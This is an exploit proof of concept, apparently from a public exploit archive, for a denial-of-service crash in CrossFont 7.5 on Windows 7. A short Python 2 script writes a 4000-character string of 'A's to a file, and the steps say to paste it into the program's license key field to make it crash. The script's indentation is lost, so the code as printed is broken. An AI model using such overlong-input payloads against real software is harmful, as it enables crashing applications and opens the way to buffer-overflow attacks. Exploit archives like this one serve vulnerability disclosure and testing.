CrossFont 7.5 Denial Of Service

`# Exploit Title: CrossFont 7.5 - Denial of Service (PoC)  
# Author: Gionathan "John" Reale  
# Discovey Date: 2018-09-26  
# Software Link: http://www.acutesystems.com/cfnt/cfsetup.exe  
# Tested Version: 7.5  
# Tested on OS: Windows 7 32-bit  
# Steps to Reproduce: Run the python exploit script, it will create a new   
# file with the name "exploit.txt". Copy the content from "exploit.txt".  
# Now start the program. When inside the program click "Enter Key"  
# Now paste the contents of "exploit.txt" into the fields:"License Key/Code"  
# Click "OK" and you will see a crash.  
  
#!/usr/bin/python  
  
buffer = "A" * 4000  
  
payload = buffer  
try:  
f=open("exploit.txt","w")  
print "[+] Creating %s bytes evil payload.." %len(payload)  
f.write(payload)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created"  
  
`